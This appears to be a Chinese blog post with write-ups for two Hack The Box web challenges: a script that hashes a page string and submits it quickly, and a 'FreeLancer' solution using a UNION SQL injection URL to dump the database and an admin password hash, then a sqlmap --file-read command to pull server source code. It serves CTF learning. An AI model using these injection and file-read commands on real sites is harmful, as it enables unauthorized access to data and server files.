zoukankan      html  css  js  c++  java
  • 【HTB】CTF

    Emdee five for life

    描述

    Can you encrypt fast enough?

    题解

    访问web网页,页面中存在一个输入框和一串随机字母序列,文字信息提示将所给字符串使用md5加密后提交。

    使用在线工具进行转换后提交,提示Too Slow!

    猜测需要编写脚本进行自动化提交,python脚本如下:

    '''
    @Descripttion: Auto post md5 encoding string
    @version: 
    @Author: chalan630
    @Date: 2020-07-30 22:15:06
    LastEditTime: 2020-08-10 16:47:36
    '''
    import requests
    import re
    import hashlib
    
    url = 'http://docker.hackthebox.eu:31144/'
    encode = hashlib.md5()
    head = {
        "Cookie": "PHPSESSID=90u188lnufmq8iq3hhvngcdlg4", # 你的 cookie
        "Upgrade-Insecure-Requests": "1",
        "Content-Type": "application/x-www-form-urlencoded"
    }
    
    def sendRequest(url, hash=''):
        if hash:
            data = 'hash='+hash
            response_txt = requests.post(url, data=data, headers=head).text
        else:
            response_txt = requests.get(url, headers=head).text
        return response_txt
        
    def main():
        i = 0
        result = ''
        while True:
            i += 1
            print('第%d次尝试'%i)
            if i == 1:
                response_txt = sendRequest(url)
            else:
                response_txt = sendRequest(url, result)
            keystr = re.search("<h3 align='center'>(.*)</h3>", response_txt).group(1)
            print('Str=' + keystr)
            utb = keystr.encode(encoding='utf-8')
            encode.update(utb)
            result = encode.hexdigest()
            print('Hash=' + result)
            response_txt = sendRequest(url, result)
            center = re.search("<p align='center'>(.*)</p>", response_txt).group(1)
            print('Flag=' + center)
            if center != 'Too slow!':
                break
    
    if __name__ == "__main__":
        main() 
    

    FreeLancer

    描述

    Can you test how secure my website is? Prove me wrong and capture the flag!

    题解

    题目给了一个静态网页,首先开始目录扫描。

    同时查看网页源代码,于源代码的隐秘处发现一个可疑的信息:

    CTB_FL1

    访问该网址,得到一个有回显的文字页面,猜测存在sql注入:

    url:http://docker.hackthebox.eu:31156/portfolio.php?id=0 union select 1,database(),user()

    得到数据库名与用户名:

    freelancer - db_user@localhost

    通过常规注入测试,得到以下信息:

    表名:portfolio,safeadmin
    safeadmin列名:id,username,password,created_at
    safeadmin数据:safeadm - $2y$10$s2ZCi/tHICnA97uf4MfbZuhmOZQXdCnrM9VM9LBMHPp68vAXNRf4K
    

    得到了用户名和加密过的密码,猜测应该存在登录界面,查看目录扫描结果:

    CTB_FL2

    得到了一个可疑的目录administrat,得到以下文件信息:

    CTB_FL3

    使用sqlmap读取服务器文件:

    sqlmap.py -u http://docker.hackthebox.eu:31913/portfolio.php?id=1 --file-read=/var/www/html/administrat/panel.php
    

    得到源文件:

    <?php
    // Initialize the session
    session_start();
     
    // Check if the user is logged in, if not then redirect him to login page
    if(!isset($_SESSION["loggedin"]) || $_SESSION["loggedin"] !== true){
        header("location: index.php");
        exit;
    }
    ?>
     
    <!DOCTYPE html>
    <html lang="en">
    <head>
        <meta charset="UTF-8">
        <title>Welcome</title>
        <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.css">
      <link rel="icon" href="../favicon.ico" type="image/x-icon">
        <style type="text/css">
            body{ font: 14px sans-serif; text-align: center; }
        </style>
    </head>
    <body>
        <div class="page-header">
            <h1>Hi, <b><?php echo htmlspecialchars($_SESSION["username"]); ?></b>. Welcome to our site.</h1><b><a href="logout.php">Logout</a></b>
    <br><br><br>
            <h1>HTB{****************}</h1>
        </div>
    </body>
    </html>
    
  • 相关阅读:
    多线程的几种实现方法详解
    Java线程编程中isAlive()和join()的使用详解
    MyEclipse在不同编辑面间快速切换
    MyEclipse中设置代码块快捷键
    MyEclipse设置文件编码
    Oracle安装后遇到错误:The Network Adapter could not establish the connection
    Java中的Runtime类
    Java中接口的特点
    Java中三种常见的注释(注解) Annotation
    Java中的泛型
  • 原文地址:https://www.cnblogs.com/chalan630/p/13960123.html
Copyright © 2011-2022 走看看